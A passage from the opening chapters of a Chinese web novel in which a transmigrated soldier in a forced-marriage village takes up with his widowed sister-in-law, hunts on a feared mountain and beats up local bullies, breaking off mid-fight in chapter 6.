《我只想打猎养老婆,你让我当救世雄主?》
第1章 嫂子的饺子好香
“官爷,求您再通融通融吧,别抓走我儿子!”
“明年我一定让他娶媳妇生娃!”
益州,蜀郡,洪雅县。
卧虎村,一处寒酸民宅前。
几名身穿皂衣,腰佩长刀的差役,连打带踹,强行将一名青年汉子拖拽出门。
一名皓首苍颜的老妇人追出来,抱住差役的大腿,跪地哭嚎,苦苦哀求着。
“通融个屁!谁不知道你们家穷得连米糠都吃不起,哪家姑娘愿意嫁给你们?”
“娶不上媳妇儿的穷光棍,就应该送去战场充军,为我大虞效命!”
“闪开!再敢妨碍公事,格杀勿论!”
差役满脸绝情,一脚踹开老妇人,命令手下将不断挣扎的青年汉子双手捆上竹竿。
然后像赶牲口一样挥舞着鞭子,驱赶他向前走去。
对面一家破败小院内,薛猛透过窗户纸上的小洞,目送“催生队”渐渐远去,心情五味杂陈。
穿越过来三天了。
每天天一黑,催生队的人就会像催命的恶鬼一样出现,抓走村里娶不上老婆的光棍。
连年战乱,致使大虞人口锐减。
男十七,女十五,必须婚配,否则每年多收五成赋税。
若是到了二十岁,还未婚配诞下子女,无论男女,按照大虞律法都会受到重罚。
男充军,女为妓!
甚至还会连累家中父母,遭受鞭刑!
明年他就满二十了。
要是找不到媳妇生娃,下场恐怕也是和对面那户人家的儿子一样,被催生队送上战场当炮灰。
偏偏前身是个破落户,别说娶媳妇儿,家里连锅都揭不开。
三天前,前身为了抢大户家的潲水,被村霸打了一顿。
回家就断了气,这才让穿越过来的薛猛捡了个现成儿。
看着周围家徒四壁的破败景象,薛猛心中满是忧虑。
“砰砰砰!”
就在这时,敲门声突兀响起。
一个透着温柔女人味儿的声音,紧跟着从门外传来。
“长根儿,快开门!”
“嫂嫂给你送饺子来了!”
听到这让人酥麻入骨的嗓音,薛猛顿时打起了精神,连忙去打开院门。
门外站着一个身穿红袄,十八九岁,颇有几分姿色的年轻少妇,手里还提着飘着食物香味的麻篮。
看着眼前的少妇,相关记忆随之涌现薛猛脑海。
林雅娴,薛猛的嫂子!
薛猛大哥薛勇本是大虞军中一个什长,结婚时正赶上北方战事吃紧。
还没来得及和嫂子入洞房,就被官府强行召回参战,最后牺牲在了战场上。
若是换了别的女人,摊上这事儿,早就改嫁了。
但林雅娴却一直为丈夫守寡,平日里为了照顾瞎子老娘和小妹,住在娘家。
每到饭点,就会来给薛猛送吃的。
“慢点吃,没人和你抢!”
饭桌前,林雅娴一只手撑着小脸,看着坐在对面狼吞虎咽的薛猛,眼睛眯得像月牙。
“长根儿,嫂子的饺子香不香?”
“嫂子,香!真香!”
薛猛嘴里大口嚼着野菜素馅饺子,还不忘赞叹。
能把野菜做得这么好吃,也是没谁了!
林雅娴捂嘴娇笑,问道:“你这话说的,到底是嫂子香,还是饺子香?”
“呃……咳咳!”
听到这话,薛猛差点没呛死。
而就在林雅娴说这句话时,居然还用脚尖轻蹭他的大腿。
薛猛顿时虎躯一震。
一抬头,发现林雅娴那双柔情似水的桃花眼,正含情脉脉地望着他呢。
林雅娴今天特地抹了胭脂水粉。
本就天生丽质的她,在妆容加持下,愈发显得美艳动人。
身上穿的红袄,正是她出嫁那晚穿的嫁衣。
“长根儿,嫂子今天挖野菜扭到了肩膀,你可以帮嫂子揉一下吗?”
见薛猛痴痴望着自己,林雅娴妩媚一笑,伸手解开了自己的衣襟。
雪白玉润的香肩,看得薛猛瞠目结舌。
嘴里的饺子瞬间就不香了。
“好的,嫂子。”
薛猛不疑有他,上前为嫂子捏肩。
感受着男人有力的大手,林雅娴顿时霞飞双颊,连喘息都粗重了几分。
反手握住薛猛的手掌,近乎嗫喏道:“长根儿,你哥走得早。”
“薛家的香火,还得由你延续!”
“嫂子今天,决定……”
听出林雅娴话外之意,薛猛心头一惊,没等对方说完,连忙挣开手,往后退:“嫂子,请自重。”
在前身的记忆中,嫂子林雅娴并不是什么坏女人!
否则,她也不可能为从未发生关系的丈夫守寡这么多年。
可今天,一向本分的嫂子,这是怎么了!
林雅娴轻摇莲步,来到薛猛面前。
抬眼间,泪花闪烁,眼神幽怨中透着失落:“怎么,叔叔嫌弃嫂子?”
“不,不是!”薛猛摇头。
林雅娴无论是相貌还是身材,放在前世都绝对是女神级别的。
不花个几十万彩礼,只怕连她的手都摸不到。
面对这样一个漂亮女人,说不动心,那是不可能的!
但薛猛从小跟着师父学医练武,成年后又被国家特招入伍,常年在野战军特种部队服役,从来没有碰过酒色。
头回面对这种情况,他还真有点不知所措。
林雅娴再怎么说,也是嫂子啊!
作为一个从小接受道德教育的现代人,薛猛暂时还无法接受这种荒唐的事情。
“嫂子,你很好!”
“但我薛猛,不能做对不起大哥的事情!”
林雅娴抹了抹眼泪,一把抓住薛猛的手,摁在了自己胸前:“可这就是你大哥的意思啊!”
“啊?”
闻言,薛猛愣住了。
“你大哥牺牲前,曾经托人寄回家书,叮嘱嫂子一定要不计代价,为薛家延续香火。”
“明年你就满二十了,要是再不娶亲生娃,难逃被抓去充军的下场!”
“可嫂子没本事,没钱帮你娶媳妇儿。”
“嫂子不是那种水性杨花的坏女人,嫂子这也是实在没辙了,才想着,亲自为你留下血脉……”
话到伤心处,林雅娴委屈得抹起了眼泪:“等明年开春,官府挨家挨户查点新丁,我一个寡妇,你一个光棍,要是报不上新丁,全都要挨重罚!”
“嫂子挨罚倒没什么,但嫂子家里还有个瞎眼的老娘和年幼的小妹,要是嫂子被官府抓走,她们可怎么活呀?”
“叔叔,算当嫂子的求你!”
“就今天一晚,了却你大哥遗愿吧!”
说完,林雅娴双膝一软,直接跪在了薛猛身前。
“嫂子……”
看着林雅娴满是泪痕的俏脸,薛猛鼻子一酸,终究还是心软了。
嫂子不是坏女人!
只是这个荒唐的世道,把人逼到了这一步!
仔细回想前身记忆,好像大哥的确寄回一封家书,提到过这些事儿。
只不过,前身混得太矬了,吃了上顿没下顿,哪里还有精力考虑这些事情。
“你不答应,嫂子就不活了!”
见薛猛还在犹豫,林雅娴一抹眼泪,面色决绝,起身就要撞墙。
“嫂子不可!我答应你!”
薛猛急了,连忙从后面搂住了林雅娴的腰。
林雅娴娇躯一颤,顿时止住了哭声:“长根儿,你再说一遍?”
薛猛把头靠在林雅娴玉颈上,香香软软的感觉,让他脸烫得不行:“雅娴,我,我娶你。”
第2章 薛猛的天赋
雄鸡唱晓,晨曦微明。
紧闭一夜的卧房门吱呀一声打开。
林雅娴面上潮红未褪,手扶着墙,一步一瘸地朝门外挪。
每挪动一步,就忍不住纤眉紧皱,口中轻啧,几乎站立不稳。
薛猛见状,连忙上前扶住林雅娴的小腰,顺手托住腰后浑圆:“嫂嫂,何必急着走?”
那句话怎么说来着,食髓知味。
尝过了肉饺子的味儿,薛猛再也不想吃素饺子了。
他现在,就想把嫂子留在身边,天天包灌汤饺子!
“嫂子上有老娘,下有小妹,我不去干活儿,你养我们啊?”
“哎哟喂,疼!小王八蛋松开!”
林雅娴满脸羞红,娇嗔着打开薛猛那只在她腰后抓圆捏扁的咸猪手。
别看她嘴上气呼呼的,可心里对薛猛这个小王八蛋是又爱又恨。
早就听薛勇说起过,说他二弟薛猛刚一生下来就天赋异禀,不是一般男人能比的。
所以薛家老爷子才给他取了个小名叫“长根儿”。
原本她只是当个笑话听,可昨晚扒下这小子的裤头,愣是把她脸都吓青了!
被这牲口像撞钟一样折腾一晚上,她骨头都快散架了。
要是再不走,自己估计会被薛猛活活铲死!
“嫂子,我养你!”
“真的!我靠打猎养你!!”
目送林雅娴窈窕背影远去,薛猛心中怅然若失。
回味着刚才那软腻肥熟的手感,忍不住发自内心喊出了这番话。
经过昨晚和嫂子深入交流后,大哥当年的遗嘱,他全想起来了!
“大哥,你在天有灵,就放心吧!”
“二弟日后一定会替你好好照顾嫂子,把嫂子养得润润的,不让她再遭一点罪!”
林雅娴刚出院门,就听到身后传来薛猛的声音,不由得愣了一下。
如果薛猛这些话是真的就好了!
但随即,她又摇头苦笑。
我在瞎想什么呢!
谁不知道,咱家这个小叔子,是卧虎村出了名的败家子。
父母死于瘟病。
大哥战死沙场。
本来家中尚有积蓄,就因为他不学无术,坐吃山空败光了家产,最后落得个家徒四壁的下场。
除了长得帅,可以说是一无是处。
至于打猎,需要胆识和手段,非常危险,不是谁都能做的!
林雅娴不指望薛猛养她,只希望他好好的活着,为薛家延续一丝血脉就足够了。
谁让当年薛家对她们林家有恩。
林雅娴对薛猛好,也是为了报答薛家当年的恩情。
但林雅娴不知道,如今的薛猛早已不是她印象中的那个败家子薛猛了。
现在的薛猛,拥有丰富的野外生存作战经验。
无论是热带雨林,还是沙漠戈壁,就没有他无法适应的野外环境!
薛猛穿越之初,消化完前身记忆后,就迅速分析了当前的局面。
卧虎村背后紧挨着卧虎山,可以说是一个天然的猎场。
卧虎山山脉延绵七百里,林深道险,地形复杂,分布着十几个山头,有天坑、草地、瀑布,还有长满奇松怪柏的原始森林。
传说里面有千年的人参,百年的何首乌,比人还高的巨龙竹笋。
还有梅花鹿、大熊猫等等珍惜野生动物,可以说是物产丰饶,是上天赐予山民的宝库。
原本,村民们靠着卧虎山的资源,也能温饱不愁。
但就在五年前,村里裴猎户带着三个儿子进山打猎,结果三个儿子全折在了山里。
唯一幸存的老猎户,跑回村子的时候,浑身是血,只剩下一条胳膊。
失去儿子的老猎户,当时已经疯疯癫癫神志不清,别人问他山里发生了什么。
他只说,山里有妖怪,谁进山就吃谁!
从那之后,村民们再不敢贸然进山。
赶上饥荒年,哪怕是挖野菜捡菌子,也只敢停留在山脚附近,绝不敢越雷池半步。
作为一个接受过科学教育的现代人,薛猛不相信什么精怪妖魔之说。
山里有猛兽倒是真的,但绝对谈不上什么成精。
别人怕,他可不怕。
有句话怎么说来着。
只要胆子大,老师放产假。
哦不对,只要胆子大,吃肉吃到怕!
为了进山打猎,薛猛从三天前就开始着手制作弓箭。
弓臂拆的桑木床的床板改造。
弓弦是用麻线自己搓的。
箭杆则用箭竹枝削制。
箭羽是找村里人借的鸭毛。
唯独箭头,成了难以解决的难题!
如果用石头自制箭头,杀伤力太弱,无法满足薛猛的需求。
整个村子只有老猎户家留有现成的铁箭头。
老猎户倒是好说话,但老猎户家有个女儿,刁蛮泼辣。
薛猛之前本想找老猎户借铁箭头,没曾想一进门刚好撞上他女儿洗澡。
这女人连衣服都不穿,光着腚追得薛猛满院子跑,那叫一个彪悍。
“要想借铁箭头,必须避过这母老虎。”
薛猛用一块木炭,在地上画出老猎户家的布局图。
尽管当时只进去了一次,但他已经在脑海中将老猎户家中布局复刻了下来。
这是他执行侦查任务多年养成的习惯。
有了布局图,薛猛心中很快就定下了一个计划。
趁着天色还早,薛猛小心翼翼摸到了老猎户家后门。
他并没有着急进去,而是站在老猎户家的旱厕粪坑旁边,静静等候时机。
农村旱厕,里面的蹲坑和外面的粪坑是相通的,方便从外面挑粪给庄稼施肥。
从外面只要稍微弯腰,就可以看到里面的屁股蛋子。
经过这几天的踩点观察,薛猛已经掌握了老猎户女儿的作息规律。
现在是卯时初刻,老猎户女儿应该刚刚起床,待会儿她就会准时到旱厕排便。
这女人火气太大,便秘,每次蹲坑至少半个小时。
而她蹲坑的这段时间,就是薛猛进去拿箭头的最佳时机。
和薛猛估计的一样,等了几分钟,粪坑里开始传来滴滴答答的水声。
薛猛弯腰一瞅,果然瞧见两个肥墩墩的肉蛋子。
“好机会!”
薛猛几个助跑,脚蹬手攀,眨眼功夫就翻进了老猎户家院墙。
虽然这具身体很是瘦弱,但薛猛前世的徒手爬墙技巧早已出神入化。
很快薛猛就如愿拿到了铁箭头,离开前还向老猎户道了谢。
尽管老猎户压根没醒。
第3章 母大虫
卯时三刻,旭日东升。
薛猛身着葛布夏袍。
背上竹箭筒。
手持桑木反曲弓。
迎着朝阳和晨风,向着卧虎山进发,整个人意气风发。
有了铁箭头,心里就有了底气。
不管山里有没有大虫,就算遇上了,他也有信心全身而退!
卧虎山脚下,河流清澈,风景秀美。
一群妇人,拿着竹篓在河边抓河蟹捞小鱼。
背着弓箭的薛猛,从桥上走过,顿时吸引了众人的目光。
“哟,这不是长根儿吗?”
“他这是上哪儿去啊,手里还拿着弓!”
“谁知道呢,整天不务正业的!”
“看他岁数也不小了,明年再娶不上媳妇儿,就等着被催生队抓走吧!”
“就他这种人,谁敢嫁给她?嫁过去就得饿死!”
村里妇人嘴碎,路过的狗都得被她们数落一通。
更何况前身风评不好,她们说的也是事实。
不过这一切很快就会逆转的。
薛猛一个大老爷们儿,自然懒得跟她们计较,埋头继续往前走。
“薛大哥!”
就在这时,一个穿绿衣的黄毛小丫头,突然拦在了他面前。
薛猛低头一看,认出这丫头是村长的闺女徐瑾儿。
自己制作箭羽,就是找她家借的鸭毛!
徐瑾儿歪着头,看见薛猛背后箭筒里的羽箭,好奇地眨着大眼睛:“薛大哥,你前些天到我家借鸭毛,就是为了做这个?”
“对,我要进山打猎!”
薛猛伸手揉了揉徐瑾儿的脑袋,冲她笑了笑:“等我打到猎物,分你一半!”
此言一出,周围一群妇人仿佛听到了天大的笑话,全都笑得前仰后合。
就在这哄笑声中,还充斥着一个格外尖酸刺耳的声音。
“我说薛家小子,你不吹牛会死啊!”
“连我哥都不敢进山,你活腻了,打算去找死不成?”
“装模作样的,还打猎呢,有种你就进山,你要是活着出来,我佩服你算个爷们儿!”
薛猛侧目,瞥见一个麻脸肥婆,抱着胳膊,满脸嘲讽地看着他。
看见这张欠揍的肥脸,薛猛脑子里顿时浮现出一段痛苦的记忆。
宋大芬,村霸宋大龙的妹妹!
三天前,前身就是被宋大龙暴打了一顿,才丢了小命。
这宋大芬仗着她哥哥的势,养成了一副泼妇的性子,在村子里也是一霸。
村民背地里都管她叫“母大虫”。
卯时正是山中猎物活动最频繁的时候。
薛猛不想耽误最佳狩猎时机,选择无视宋大芬,兀自向前走去。
见薛猛真要进山,先前还在哄笑的妇人们顿时变了脸色,连忙上前劝说薛猛。
“长根,山里危险,别去!”
“对呀,会出人命的!”
妇人们平时虽然嘴巴碎了点,但大家乡里乡亲的,并不希望薛猛真的出事。
唯独宋大芬,唯恐薛猛不去,一个劲拱火:“让他去!让他去找死!”
“说大话也不怕别人笑掉大牙!谁不知道他薛猛是村里出了名的窝囊废,要不是靠她嫂子接济,早就饿死八百回了!”
“我看他和他嫂子,八成有一腿儿!”
“大芬,你这话说得太过了!”
连妇人们都觉得宋大芬这话说得太过分,好端端的扯上人家叔嫂了。
宋大芬凶神恶煞瞪了众人一眼,粗声喝骂:“管你们屁事!干你们的活去!”
“鱼虾捞上来,每家分我一半,要是少了斤两,我让我哥打死你们!”
说完,宋大芬一屁股坐在桥边的青石上,磕起了瓜子。
其他妇人迫于宋大龙的淫威,也不敢再多说什么。
宋大龙和李庄大户李员外的公子是拜把子兄弟,手下养着一群泼皮闲汉。
平日欺压乡里,吃拿卡要,连村长都拿他们没辙。
眼看薛猛的身影消失在卧虎山中,年幼的徐瑾儿,眼神中流露出一抹担忧。
“薛大哥真的进山了,太危险了,我得回去告诉爹爹!”
……
薛猛并没有往深山里走,而是找了个靠近水源的灌木丛,打算在这里打埋伏。
此时正值初夏清晨,卧虎山中晨雾弥漫,空气清新。
花草野果在露水的滋润下显得格外鲜嫩多汁,正是食草动物出来觅食饮水的时间,最适合打埋伏。
薛猛深吸一口气,舒展了一下腰肢。
然后在鞋面上抹了少许稀泥,又抓了把青草揉碎,将汁水涂抹在领口和腋下,又用树枝藤蔓编了个头环戴在头上。
紧接着就躲藏在灌木丛后面,静静等候猎物出现。
野生动物的嗅觉和听觉都极其灵敏,警惕性很高。
薛猛这么做是为了掩盖住自己身上人类的气味,让自己能够更好地融入到大自然里。
随着时间一分一秒流逝,对岸的草丛动了一下。
薛猛不动声色,开弓搭箭,眼神像雄鹰般犀利。
此情此景,不禁让他想起在野战军服役的那段难忘岁月。
当初他为了狙击一个毒枭,在热带雨林里潜伏了数天之久。
这期间,无论是蚊虫叮咬,还是毒蛇从他大腿上爬过,他都恍若入定,纹丝不动。
过了一会儿,一只野兔从草丛中窜出,来到溪水边。
它先是警惕地四处打量了一番,确定没有危险,才低下头喝水。
喝一口,就抬头扫视一下周围。
但它再怎么警惕,终究还是没能察觉隐藏在对面灌木丛里的薛猛。
薛猛屏息凝神,悄然调整箭头方向,对准了野兔前额眉心的位置,虎目之中精芒内敛。
他并没有马上着急放箭。
而是在心中默自估算野兔抬头低头的频率和间隔时间。
就在野兔第三次低头喝水的刹那,薛猛目光一寒,骤然松手。
嗖!
疾风呼啸间,一支鸭毛羽箭迅疾脱弦而出,朝着野兔眉心射去。
啪!
一道寒芒如电划过,铁箭头正中野兔眉心,毫厘不差!
几乎是在中箭的瞬间,野兔立即倒地,没有任何痛苦挣扎,也没有外伤流血。
野兔眉心连接着大脑神经中枢,射中此处神经中枢瞬间切断,可以让它几乎不受痛苦的死去。
相比起射肺部、胸腔等其他位置,这样猎到的野兔,品相更高。
不会因为垂死挣扎撕裂伤口,造成大量出血,污染肉质,损坏皮毛。
但同样,对于箭术的要求,也不是一般的高!
“兔兔这么可爱,我可得多弄几只!”
薛猛捡起地上的野兔,掂了掂,还挺沉。
出师告捷!
这是个好兆头!
两个时辰后,树叶上的露水干了,阳光从头顶树冠的缝隙间洒落,宛若细碎的金箔。
薛猛脸上洋溢着丰收的喜悦,朝山下走去。
四只野兔。
一只野鸡。
还搞到不少桑黄菌和野桃子。
穿越过来,第一次进山打猎,就有这样的收获!
薛猛心情很是舒畅,对未来的生活充满期待。
以他这一身本事和现代人的思维学识,在这个落后的古代世界,混个风生水起,还不是手拿把掐。
“咔嚓!”
薛猛正畅想着自己靠着打猎成为一个富家翁,和嫂子过上没羞没臊的幸福生活。
脚下忽然传来枯树枝断裂的脆响。
“刷!”
紧跟着旁边树丛猛然晃动,一道壮硕身影从里面窜出,在薛猛眼前一闪而过。
刮起的风沙几乎让他睁不开眼。
等薛猛再次睁开眼,那东西早已不见了踪影。
“什么东西?!”
第4章 满载而归
薛猛扒开树丛,只见地上有一堆颗粒状的椭圆小球,表面看上去特别光滑。
旁边还留下了一些心形脚印。
薛猛咧嘴一笑,眼底闪过一抹兴奋。
“看来这卧虎山,还真是块宝地!”
“居然有这么大的马鹿!”
通过粪便和脚印,薛猛可以确定,刚才那东西,应该是一只马鹿!
蹲下身,用手指量了量马鹿脚印的长度和深度,他心中不由惊叹。
初步估计,这只马鹿至少有四百来斤,能达到这个体重的马鹿年龄大概五岁左右,正处于青年期。
“是个大家伙啊,正是鹿茸长得最好的时候!”
“要是弄上一对上好的鹿茸,顶得上寻常农户十年的开支了!”
薛猛兴奋之余,又摇头叹了口气,打消了独自追踪马鹿的念头。
四百多斤的大家伙,头上还长着接近三尺的角,奔跑时速能达到60公里,冲击力跟台摩托车一样。
想想就不好惹。
刚才也是运气好没被那玩意儿撞个正中,要不然当场就吃席了。
“要想捕猎马鹿,至少要有一个熟手策应,还要有长矛、套索,最好有条猎狗,不然搞不定的。”
虽然暂时没办法捕猎马鹿。
但薛猛心里却记下了这个地方。
山脚下,妇人们在河里捞了半天,累个半死,也没多少收获。
水浅的地方,鱼虾早就被大家捞光了。
而水深的地方,又有漩涡暗流,以前淹死过人,她们根本不敢去。
“行了行了!我看再捞也捞不着啥东西,你们进山挖野菜去吧!”
宋大芬眼见竹篓里没什么收获,开始颐指气使安排大家。
“大芬,山里有吃人的妖怪,我们可不敢去!”张家婶子抗议道。
宋大芬没好气骂道:“连薛猛那个窝囊废都敢进山,你们为啥不敢?你们不去挖野菜,就这么点臭鱼烂虾,够谁吃的?”
“你们不怕饿肚子,我可不能挨饿!”
面对宋大芬的持续施压,妇人们苦不堪言。
她自己不干活,却逼着别人干,还要分走别人劳动成果。
大家心里谁不是对这母大虫恨得牙痒痒!
就在这时,突然有人指着半山坡喊道:“你们快看,那是谁!”
妇人们停下手头的动作,直起腰,纷纷朝半山坡望去。
只见一道身影晃晃悠悠下了山。
那人身穿布袍,背着弓箭,不是薛猛还能是谁?
和进山时两手空空不同,现在的薛猛手里拎着四只大肥兔子,一只毛色漂亮的野鸡。
腰里的布袋也是鼓鼓囊囊装满了东西。
显然是满载而归!
“我的天,我没看错吧,那是兔子,还有野鸡!”
“我从来没见过这么肥的兔子!”
“这得换多少粮食呐!”
“本以为他是吹牛,没想到真会打猎!”
妇人们眼都看直了。
别说现在大家因为害怕妖怪不敢进山,就是以前没有妖怪的时候,村里的人也很难一下子抓到这么多猎物。
山里的野物精着呢,没有打猎技巧和经验的人,忙活几天几夜连根毛都逮不住。
可薛猛这才进山半天,就收获了这么多猎物!
这还是大家认识的那个不学无术的败家子吗?!
“姓薛的,你这是走了狗屎运吧,在哪儿白捡这么多死兔子!”
听到这阴阳怪气的声音,薛猛抬起头。
只见宋大芬叉着个水桶腰,挡在路中央,不让他过桥。
“什么白捡的,这都是我打的!”薛猛冷声道。
“我管你打的还是捡的,俗话说得好,见者有份!”
“你弄到这么多兔子,按规矩得分我一半!”
分你一半?
你踏马路边哪条?这么大脸?
听到这话,薛猛快气笑了。
若是换了前身那个窝囊性子,遇到这母大虫,说不定还真就委曲求全,乖乖把野兔交给对方了。
但薛猛是什么人?
医武双修,兵中之王!
杀人都不带眨眼的!
薛猛剑眉倒竖,薄唇轻启,回应对方的只有一个冷硬如刀的字:“滚!!”
对上薛猛冷漠犀利的眼神,宋大芬身上肥肉一抖,吓得一哆嗦。
有那么一瞬间,她感觉自己好像不认识眼前的薛猛了。
这还是哪个唯唯诺诺的窝囊废吗?
倒好像是一头吃人不吐骨头的大虫,被他瞪上一眼,浑身汗毛都炸了起来。
这怎么可能?
我堂堂宋大芬,怎么可能会怕一个窝囊废!
“你活腻了吧,敢这么跟老娘说话?!”
宋大芬不知道薛猛什么时候变得这么有种了。
但一向在村子里横行霸道的她,什么时候受过这种气。
当即撸起袖子,就要强抢薛猛的兔子。
“拿来吧你!”
宋大芬一身肥肉,两只手臂跟树干一样粗壮,是村里出了名的母大虫。
而薛猛则是身形枯瘦,连肋骨轮廓都清晰可见。
若是以往,这泼妇要收拾薛猛简直就是手拿把掐。
但她不知道的是,如今的薛猛是她根本惹不起的狠人。
今天,这个泼妇,注定要为自己的嚣张跋扈付出惨痛代价!
“住手!”
恰在这时,村长徐守业带着徐瑾儿,和村里几个年轻人,火急火燎赶了过来。
可就算是村长出声阻止,宋大芬也没有停下的意思。
气势汹汹冲到面前,挥拳朝薛猛脸上打来。
薛猛双目微眯,往后一让,姿势轻松写意。
“哎哟——”
宋大芬用力过猛直接扑了个空,摔了个狗啃泥。
“死肥猪,这是你自找的,赶紧给我滚!否则我对你不客气!”
薛猛戏谑一笑,举步便走。
“好你个薛猛!竟敢戏弄我!你今天别想走,老子要宰了你!”
宋大芬从地上爬起来,吐了一嘴带血的泥,整个人都快气疯了。
她一把夺过旁边妇人手里的镰刀,宛若发狂的黑熊,大吼着朝薛猛背后扑去。
“啊,杀人了!”
见宋大芬这泼妇动了刀子,周围的妇人全都吓得惊叫不已,四散躲避。
“坏了!长根儿,当心身后!”
村长徐守业心中着急,想要带人过去阻止但已经来不及了。
徐瑾儿一个小丫头哪里见过这种场面,捂着脸不敢看。
就在大家以为薛猛这次凶多吉少时,出乎意料的事情却发生了。
第5章 嫂子被欺负了
薛猛拥有丰富的实战经验,对危险的感知能力远超常人。
当宋大芬从背后扑来的刹那,他已经有所预感。
只见薛猛虎目圆瞪,狼腰款扭。
啪!
一个漂亮的扭身高鞭腿!
宋大芬的镰刀连薛猛的头发丝都没碰到,而薛猛的铁腿,却犹如钢鞭般精准抽在了她的肥脸上。
“噗…哇啊!!”
这一腿力道惊人。
宋大芬嘴里一口老血喷出,门牙都飞出两颗。
整个人在半空转了个圈,直接摔进了河里。
水花冲天!
场面滑稽至极!
突发的剧变,让周围妇人看得瞠目结舌。
宋大芬这头母大虫,平日里可没少欺负她们,每次抓鱼挖野菜,都得分她一半!
大家心里早就怨气满满,但因为忌惮宋大龙,只能忍气吞声。
可现在,薛猛竟然一脚将这头接近二百斤的母大虫,踹进了河里!
无疑是替大家狠狠出了一口胸中恶气!
“打得好!”有人小声欢呼。
也有人诧异惊叹:“长根啥时候变得这么有种了!”
“不仅打到了这么多野物,连母大虫他都敢打了!”
“太有爷们儿样了!”
“瞧你这话说的,人家本来就是个爷们儿!”
“这孩子,打小就不一般,要不怎么叫长根儿呢!”
河岸边,一时间充满了快活的空气。
连带着妇人们看薛猛的眼神都变了。
不管以前的薛猛是什么样,但这一刻,在女人们心目中,他就是全村最靓的崽!
“姓薛的!今天这梁子算是结下了,你给老子等着!姑奶奶跟你没完!”
“等我大哥回村,我让他宰了你!”
宋大芬紧紧抱住一根树枝,在河水里挣扎,整个人披头散发浑身湿透,像头落水的老母猪。
猛虎又怎么会在意野狗的狂吠。
薛猛懒得再搭理这条疯狗,迈步向前走去。
没走几步,徐瑾儿就迎了上来,后面还跟着村长一行人。
“薛大哥,你没事吧!”
徐瑾儿关心道:“我怕你进山遇到危险,就把我爹他们找来了,本来是想进山找你的!”
看见小丫头,薛猛心情好了一些,若无其事笑了笑:“我能有什么事儿?对了,这个给你,谢谢你之前借我鸭毛做箭羽!”
说着,爽快取下两只野兔,直接递给徐瑾儿。
看见这两只大肥兔子,薛瑾儿愣了愣,随即连忙摆手:“不不不!这是你冒着生命危险进山打的,我不能要!”
村长徐守业也笑着开口道:“是啊,几根鸭毛而已,哪里值得上两只兔子!这兔子这么肥,卖了钱都够换几十斤粮食了!”
“长根,你嫂子平日可没少接济你,你还是给你嫂子送去吧,她家日子可不好过!”
“我嫂子那里我自有安排,之前我满村子借鸭毛,但没人搭理我,只有你们肯借给我!”
“说好的打到猎物分你们一半,你们不收,岂不是置我于无信之地?”
见薛猛硬要给徐瑾儿手里塞兔子。
周围的妇人都羡慕坏了。
前些天薛猛的确满村子找人借鸭毛来着,但她们都懒得搭理他,以为他是想找借口偷鸭子。
如果早知今日,当时就该把鸭毛借给薛猛!
几根鸭毛,换两只肥兔,跟天上掉馅饼有啥区别!
对于薛猛言而有信,投桃报李的行为,徐守业深感欣慰,脸上笑容更浓了。
“长根,看来你真的长大了,你爹和你哥在天有灵,一定会感到欣慰!”
“但两只兔子实在太贵重,我们不能要。”
“你赶紧把猎物拿回家,让你嫂子也高兴高兴吧!”
说完,徐守业也不管薛猛同不同意,挥挥手,带着女儿和村民转身离开。
看着手里没送出去的兔子,薛猛不由得摇头苦笑。
这老徐,太客气了!
“你们觉不觉得,长根儿变了。”
走到半路,村长徐守业突然发问。
“嗯呢,薛大哥是和原来不一样了,但到底哪里不一样,又说不上来!”
想起薛猛一脚踹飞宋大芬的矫健身手,不知为何,徐瑾儿小脸一红,心里像小鹿乱撞。
……
“今天第一天进山,就打到这么多猎物!”
“我得快点回家,给嫂子一个惊喜!”
薛猛拎着大肥兔子和野鸡,兴冲冲往家里赶。
一想到嫂子那娇美动人的笑脸,薛猛浑身就忍不住燥热了起来。
眼看离家不远了,薛猛脸上洋溢起笑容。
“嫂嫂,武松……哦不薛猛回来了!”
可话还没来得及出口,就听见自家小院内,传来林雅娴的惊叫。
“啊!别过来,你这个臭流氓!”
紧跟着传来一个凶狠的大嗓门。
“小寡妇,你跟我装什么纯!”
“你家男人都死了,你还天天跟你那小叔子纠缠不清,不就是想要男人帮你搞大肚子吗!”
“我李贺家大业大,跟了我算便宜你了!”
“滚开!你敢动我,我叔叔回来不会放过你!”
林雅娴声音带着哭腔,近乎嘶吼。
李贺嗤笑:“薛猛那个废物,他就算回来又能把我怎么样?”
“他还欠我五十两银子呢!给不起五十两银子,不仅这房子归我李家,就连你们叔嫂二人也得给我李家当一辈子奴仆!”
“小寡妇,与其跟着薛猛受苦,不如从了本公子,本公子让你做个外室,不比当奴仆好多了?”
“你胡说!我叔叔才没有欠你的银子!你快滚,不然我告你强闯民宅,欺辱良家妇女!!就算你李家有钱,难道不怕王法吗?”
“在白虎乡,老子就是王法!给我摁住她!老子今天非得尝尝这小寡妇的咸淡!!”
听到院子里的动静,薛猛目赤欲裂,额头青筋暴起。
砰的一声,一脚踹开院门,看见院中的场景,薛猛瞬间暴怒!
林雅娴身上衣服被撕烂,露出雪白香肩,仿若受伤小鹿,被一个脑满肥油的大胖子逼到墙角,瑟瑟发抖。
地上,竹篮里的野菜粥撒了一地。
很显然,林雅娴是来给自己送饭的。
而那个大胖子,就算化成灰薛猛也不会忘记。
李贺,白虎乡大户李庄公子!
三天前,指使宋大龙暴打前身的就是这家伙!
李贺命令两个家丁,摁住林雅娴,正准备对林雅娴霸王硬上弓。
却听院门被人一脚踹开,顿时吓得一哆嗦。
本就不起眼的小蚕蛹,瞬间就缩入腹中。
“直娘贼!竟敢坏我好事,左右,给我打折他的腿!”
李贺回过头,恨不得杀了这踹门之人,见是薛猛,气焰更加嚣张!
光天化日之下,闯入民宅调戏人家嫂子不成,竟还要打折我的腿?
这还算是人?
分明是畜牲!
“打折我的腿?就凭你们?”
话音刚落,薛猛已如猎豹扑入院中。
啪砰!砰!
直拳、勾拳,扫腿!
招式简单毫无花哨,但却将现代格斗技巧和战场厮杀经验融为一炉。
每一招都奔着人体弱点精准打击。
两个李家家丁哪里见过这种功夫?
刚摆出虎鹤双形的套路架势,正准备放狠话,结果还没张开嘴,眼前一黑,就被薛猛三拳两脚撂倒。
“啊?!”
李贺脸上肥肉一抖,被眼前一幕惊出一身冷汗。
这姓薛的废物,什么时候这么厉害了!
而且不讲武德,打架前连个起手势都不摆?!
下一刻,薛猛虎目一转,径直朝李贺扑来!
第6章 暴打李贺
“啊!啊啊!”
薛家院子里,惨叫连连。
李贺被盛怒之下的薛猛摁在地上,揍得鼻青脸肿,满脸都是血。
而两个家丁,全都蜷缩在地上装死,压根不敢上去阻止薛猛。
“长根儿,别打了!”
见薛猛照面功夫,就把李家家丁撂倒,又把李贺摁在地上一顿暴打。
